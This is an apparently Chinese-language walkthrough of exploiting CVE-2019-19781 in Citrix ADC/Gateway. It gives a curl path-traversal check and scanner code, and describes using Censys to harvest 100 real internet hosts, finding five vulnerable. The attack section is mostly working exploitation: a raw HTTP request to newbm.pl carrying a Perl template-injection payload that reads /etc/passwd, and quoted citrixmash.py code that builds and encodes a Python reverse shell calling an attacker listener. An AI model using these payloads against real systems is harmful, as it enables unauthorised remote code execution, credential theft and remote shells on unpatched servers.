CVE-2019-19781 通关
漏洞名称
Citrix Gateway/ADC 远程代码执行漏洞
影响范围:
Citrix NetScaler ADC and NetScaler Gateway version 10.5
Citrix ADC and NetScaler Gateway version 11.1 , 12.0 , 12.1
Citrix ADC and Citrix Gateway version 13.0
手工检测:
如果你看到类似如下界面,注:版本差异界面有好多种,本处仅以新版本Citrix Gateway界面为例:
我们可以如下测试,返回body体中的内容(响应状态码为200),可判定存在利用风险,但并不是绝对的,这只能说没打补丁,但漏洞的修复方案打补丁只是其中之一,我们后面讲。
curl https://host/vpn/../vpns/cfg/smb.conf --path-as-is
#response
[global]
encrypt passwords = yes
name resolve order = lmhosts wins host bcast
在实际测试中,肯定要面对https证书等问题,如果目标不存在漏洞上述测试语句是没有回显的,可以借助I
参数返回响应头(i
返回headers+body ),如下403说明已通过补丁修复,当然还会有各种自定义修复方案造成的其他回显在此不做讨论。
curl https://host/vpn/../vpns/cfg/smb.conf --path-as-is -k -I
#response
HTTP/1.1 403 Forbidden
脚本检测
关于上述原理的脚本检测我们可以参见trustedsec提供的脚本,多说一句,不知道大家对这个团队名称是否敏感,如果提社会工程学工具包social-engineer-toolkit(SEToolkit)你一定不陌生,之前钓鱼系列文章一直有在用,正是该团队的手笔。
# if the system is still vulnerable
if ("[global]") in str(req.content) and ("encrypt passwords") in str(req.content) and (
"name resolve order") in str(req.content): # each smb.conf will contain a [global] variable
print("[\033[91m!\033[0m] This Citrix ADC Server: %s is still vulnerable to CVE-2019-19781." % (target))
vulnServers.append(target)
return 1
# if the system responds with a Citrix message (fixed) or a 403 (fixed)
elif ("Citrix") in str(req.content) or "403" in str(req.status_code): # only seen if system is not vulnerable
print(
"[\033[92m*\033[0m] Server: %s responded with a 403. If this is a Citrix Server, it is not vulnerable. Awesome!" % (
target))
# if we run into something other than Citrix
else:
if verbose == True: print("[-] Server %s does not appear to be a Citrix server." % (target))
pass
我们可以看到其核心检测代码正是我们手工检测的原理,403直接判定安全,其他情况判定为非Citrix server。
此外,该脚本检测支持ASN、CIDR、文件输入等检测方式,我们借助AssetsHunter从国外随机抓取了100个Citrix Gateway站点:
python AssetsHunter.py -censys "443.https.get.title: Citrix Gateway"
配合cve-2019-19781_scanner效果如下,5%的风险项,但我们刚刚提到了,有风险并不代表可利用,这里仅作风险评估统计,漏洞利用依然以本地形式复现。
python cve-2019-19781_scanner.py file:Censys_ip_result_1588752983.rabbit 443
#result
Finished testing 100 servers: Found 5 to be vulnerable
手工利用
首先分享下我的翻车,国内的相关资料利用点都放在了desc
参数上,类似payload如下,因为对perl语言并不擅长,所以没有更多的关注代码层。然而虽然各位大佬都完美回显了,我自闭了两天。。。
url=http://example.com&title=jk666&desc=[% template.new('BLOCK' = 'print `cat /etc/passwd`') %]
沉下心来看了看斗象TCC小胖虎大佬的漏洞分析。
最终尝试把漏洞利用参数放到了title
参数,才勉强成功。/哭
这里给出自己的修改后利用方案,如果翻车别打我,保证没挖坑。。。
POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
NSC_USER: ../../../netscaler/portal/templates/jk666
NSC_NONCE:nsroot
Content-Length: 96
url=127.0.0.1&title=[% template.new('BLOCK' = 'print `cat /etc/passwd`') %]&desc=desc&UI_inuse=a
我们刚刚说过了,有风险不一定可利用,如newbm.bl被删除或被重命名,实战中确实也遇到了404的情况,此外,上传成功的body体如下:
HTTP/1.1 200 OK
<HTML>
<BODY>
<SCRIPT language=javascript type=text/javascript>
//parent.window.ns_reload();
window.close();
</SCRIPT>
</BODY>
</HTML>
然而经常会遇到无回显的情况,可参考小胖虎大佬的文章尝试其它利用点,只是漏洞利用需要将poc写入文件名, 可能会受到特殊字符影响,总体不如newbm.pl。
GET /vpn/../vpns/portal/jk666.xml HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
NSC_USER:nsroot
NSC_NONCE:nsroot
访问构造好的文件,成功完成二次回显:
脚本利用
- 1、还有在使用py2的小伙伴可以参考少宇大佬的脚本:
emmmmm,怎么说,我承认我翻车了,因为我的利用环境按照国内的思路手工测试并没有复现成功,而少宇大佬的脚本也是借助该思路完成的,不排除实验对象单一造成的意外,在此不做讨论,大家自行选择。
- 2、刚刚提到的trustedsec脚本中提供了exp脚本:
citrixmash.py
python3 citrixmash.py <victimaddress> <victimport> <attacker_listener> <attacker_port>
text = ("""/var/python/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%s",%s));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'""" % (attackerip, attackerport))
while i < len(text):
encoded = encoded + "chr("+str(ord(text[i]))+") . "
i += 1
encoded = encoded[:-3]
payload="[% template.new({'BLOCK'='print readpipe(" + encoded + ")'})%]"
其原理是在payload中预装了一个python拉起的反弹shell,直接开启nc监听使用即可。
- 3、印度零组(个人很看好的一个团队)的bash脚本
话说,国外的习惯都是从title
参数插payload的说,而且该脚本提供了自定义命令入口,阿三牛批~